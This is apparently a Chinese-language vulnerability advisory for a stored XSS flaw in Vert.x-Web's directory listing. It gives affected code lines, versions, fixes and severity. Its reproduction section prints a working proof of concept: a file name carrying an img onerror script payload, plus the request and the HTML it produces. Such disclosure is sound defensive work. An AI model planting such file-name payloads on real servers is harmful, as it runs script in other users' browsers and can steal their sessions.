Vert.x-Web目录列表存储型XSS漏洞分析
漏洞详情
在StaticHandlerImpl#sendDirectoryListing(…)方法的text/html分支中,文件和目录名称直接嵌入到href、title和链接文本中,没有进行适当的HTML转义。
因此,在攻击者能够控制文件名的环境中,可以注入HTML/JavaScript。只需访问目录列表页面就会触发XSS攻击。
受影响代码
文件: vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java
受影响行:
- 709-713行:normalizedDir构造时未转义
- 714-731行:
<li><a ...>元素直接将文件名插入属性和正文中而未转义 - 744行:父目录名称构造
- 746-751行:{directory}、{parent}和{files}未转义直接插入HTML模板
复现步骤
前提条件:
- 使用StaticHandler启用目录列表(例如:
StaticHandler.create("public").setDirectoryListing(true)) - 攻击者能够在公共目录下创建任意文件名(例如通过上传功能或共享目录)
步骤:
-
创建恶意文件名(基于Unix系统的示例):
1 2mkdir -p public printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt" -
启动服务器(示例):
1 2Routing: router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true)); Server: vertx.createHttpServer().requestHandler(router).listen(8890); -
验证请求(原始HTTP):
1 2 3 4GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close -
响应示例:
1 2 3 4 5 6 7 8 9<ul id="files"> <li> <a href="/public/<img src=x onerror=alert('XSS')>.txt" title="<img src=x onerror=alert('XSS')>.txt"> <img src=x onerror=alert('XSS')>.txt </a> </li> ... </ul>
当在浏览器中访问/public/时,未转义的文件名被解释为HTML,onerror等事件处理程序会被执行。
潜在影响
存储型XSS
- 在查看列表页面的用户浏览器上下文中执行任意JavaScript
- 可能后果:
- 窃取会话令牌、JWT、localStorage内容或CSRF令牌
- 使用管理员权限执行未授权操作(用户创建、权限更改、设置修改)
- 水坑攻击,包括恶意软件分发或向其他页面注入恶意脚本
更容易利用的常见条件
- 上传的文件直接存放在公开可访问的目录下
- 共享/同步目录(如NFS、SMB、WebDAV或云同步)被暴露
- ZIP/TAR存档直接解压到webroot下,并且在生产环境中启用了目录列表
相关CVE
- CVE-2024-32966
- CVE-2019-15603
受影响版本
受影响版本:
- < 4.5.22
-
= 5.0.0, <= 5.0.4
修复版本:
- 4.5.22
- 5.0.5
参考链接
- GHSA-45p5-v273-3qqr
- https://nvd.nist.gov/vuln/detail/CVE-2025-11966
严重程度
低危 - CVSS评分:2.3
CVSS v4基础指标: CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
弱点分类
CWE-79: 在网页生成过程中对输入的不当中和(跨站脚本) 产品在将用户可控的输入放置到提供给其他用户的网页输出中之前,没有进行中和或不正确地进行了中和。